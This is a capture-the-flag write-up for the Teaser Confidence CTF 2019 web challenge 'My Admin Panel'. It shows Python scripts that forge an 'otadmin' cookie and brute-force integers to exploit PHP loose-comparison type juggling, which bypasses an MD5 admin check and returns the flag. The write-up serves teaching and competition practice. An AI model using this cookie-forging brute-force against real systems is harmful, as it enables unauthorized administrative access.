Teaser conFidence Ctf 2019 was quite challenging for 24 hours. This week was mostly daddy week with some solves.


Web

My Admin Panel

  • Challenge
    • Given a link that looks like
40


  • Some Recon
    • The challenge is straight forward
    • login.php - Blind click results in –> Not Authenticated –> Authenticating should return the flag?
    • login.php.bak - Login php source code backup (we can view the source)
      • There exists a series of checks for the cookie
  • I have automated the full explanation to run as a python program so dividing it into chunks for more explanation. The full program is available at Code

  • Login source code
from urllib import request

### Admin page recon
# * login.php requires admin privilege
# * login.php.bak - shows the source code

"""
<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}

display_admin();
"""
  • Initial request to result in Not Authenticated scenario. (Its nice that the p4 team added a check for user agent, using default python user-agent results in 403)
print("\n--> Attempt1 with no cookie!\n")
url = "https://gameserver.zajebistyc.tf/admin/login.php"
req = request.Request(url, headers={"Cookie": "__cfduid=d6ef65692e74464733b560c70f5847b951552766691", 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})
res = request.urlopen(req)
print(res.read())
  • Bypass check 1 - Include the otadmin cookie –> results in COOKIE TAMPERING xD IM A SECURITY EXPERT
print("\n--> Attempt2 with otadmin cookie - bypass check 1!\n")
url = "https://gameserver.zajebistyc.tf/admin/login.php"
req = request.Request(url, headers={"Cookie": "__cfduid=d6ef65692e74464733b560c70f5847b951552766691; otadmin=admin", 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})
res = request.urlopen(req)
print(res.read())
  • Bypass check 2 and 3 - bypass regex with the format of the cookie and a proper json format to decode
print("\n--> Attempt3 with otadmin cookie - bypass check 2!\n")
url = "https://gameserver.zajebistyc.tf/admin/login.php"
req = request.Request(url, headers={"Cookie": "__cfduid=d6ef65692e74464733b560c70f5847b951552766691; otadmin={'hash': '123ABC'}", 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})
res = request.urlopen(req)
print(res.read())
  • results in throwing the hint
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
  • Last check analysis (with the hint)
    • ord(A-Z) & 0xC0 = 64 (any character and with 0xC0 is 64)
    • ord(“0-9”) & 0xC0 = 0 (any number and with 0xC0 is 0)
    • Length of md5 is 32 and is constant
ord("a-z") & 0xC0 == ord("a") & 192 == 64
ord("0-9") & -xC0 == 0
  • From the hint we know the md5(password) position of letters and numbers (hexDigest)

  • [Did not work] Logic 1: BruteForce all combination of hex characters (a-f and 0-9) at the position of the hint and enumerate.

    • This was meaning less and will take huge time….
    • Going through all possible combinations for Hexadecimal at appropriate places with respect to hint – Might Take soosooo long!!
print("Possible characters in hexdigest are a-f and 0-9")
import itertools
alpha = list("abcdef")
number = list("0123456789")
hint = "0006464640640064000646464640006400640640646400"
hint = hint.replace("64", "A")
hint = hint.replace("0", "N")
for number_comb in itertools.product(number, repeat=18):
    for alpha_comb in itertools.product(alpha, repeat=14):
        print(number_comb, alpha_comb)
        number_co = list(number_comb)
        alpha_co = list(alpha_comb)
        temp_hint = list(hint)
        for i in range(len(temp_hint)):
            if temp_hint[i] == "A":
                temp_hint[i] = alpha_co.pop(0)
            else:
                temp_hint[i] = number_co.pop(0)
        temp_hint = "".join(temp_hint).upper()
        print("Requesting with cookie hash: "+temp_hint + " !...")
        url = "https://gameserver.zajebistyc.tf/admin/login.php"
        req = request.Request(url, headers={'Cookie': '__cfduid=d6ef65692e74464733b560c70f5847b951552766691; otadmin={"hash": \"%s\"}' % temp_hint, 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})
        res = request.urlopen(req)
        output = res.read()
        print(output)
        if "p4" in str(output):
            break
  • [Did not work] Logic 2: Known plaintext approach: md5 wordlist and lookup for the hash pattern matching
    • Running rockyou and prominent dictionary was in vain…
import hashlib, sys
wordlist = open(sys.argv[1], "r")
for word in wordlist.readlines():
    word = word.strip()
    md5hash = hashlib.md5(word).hexdigest()
    result = ""
    for i in range(len(md5hash)):
        result += str(ord(md5hash[i]) & 0xC0)
    if result == "0006464640640064000646464640006400640640646400":
        #if result == "0064000640640646406464640006406400064640640064":
        print word
        break
print "\nDone!\n"
  • Rethinking another approach…
    • I was a bit dumb not to look at the question –> Question says it was an issue with PHP
  • Helper ==> Loose comparison vulnerability at https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf

  • In short
    md5hash = 723abc.....
    Integer = 723
    md5hash == Integer == TRUE
    
  • Loose comparison cause type juggling –> the hash will be reduced to a number up until the first character and be casted to an integer when an integer json is provided
    • based on the hint we have 00064 which means its a 3 digit number
    • lets iterate from int(100 to 999) as input
for i in range(100, 999):
        print("Requesting with cookie integer : "+ str(i) + " !...")
        url = "https://gameserver.zajebistyc.tf/admin/login.php"
        req = request.Request(url, headers={'Cookie': '__cfduid=d6ef65692e74464733b560c70f5847b951552766691; otadmin={"hash": %d}' % i, 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})
        res = request.urlopen(req)
        output = res.read()
        print(output)
        if "p4" in str(output):
            break
  • Code in Action and Voila!
srimbp:algo sri$ 
srimbp:algo sri$ python3 solve.py 

--> Attempt1 with no cookie!

b'Not authenticated.\n'

--> Attempt2 with otadmin cookie - bypass check 1!

b'COOKIE TAMPERING xD IM A SECURITY EXPERT\n'

--> Attempt3 with otadmin cookie - bypass check 2!

b'COOKIE TAMPERING xD IM A SECURITY EXPERT\n'

--> Attempt4 with otadmin cookie - bypass check 3!

b'COOKIE TAMPERING xD IM A SECURITY EXPERT\n'
64 == A-Z and 0 == 0-9

Length of md5 is 32

Hint: 0006464640640064000646464640006400640640646400

Requesting with cookie integer : 100 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 101 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
...
...
...
Requesting with cookie integer : 120 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 121 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 122 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 123 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 124 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 125 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 126 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 127 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 136 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 137 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 138 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 139 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 140 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 141 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 142 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 143 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 144 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'

...
...
...

Requesting with cookie integer : 386 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 387 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 388 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 389 !...
b'Congratulations! p4{wtf_php_comparisons_how_do_they_work}\n'
srimbp:algo sri$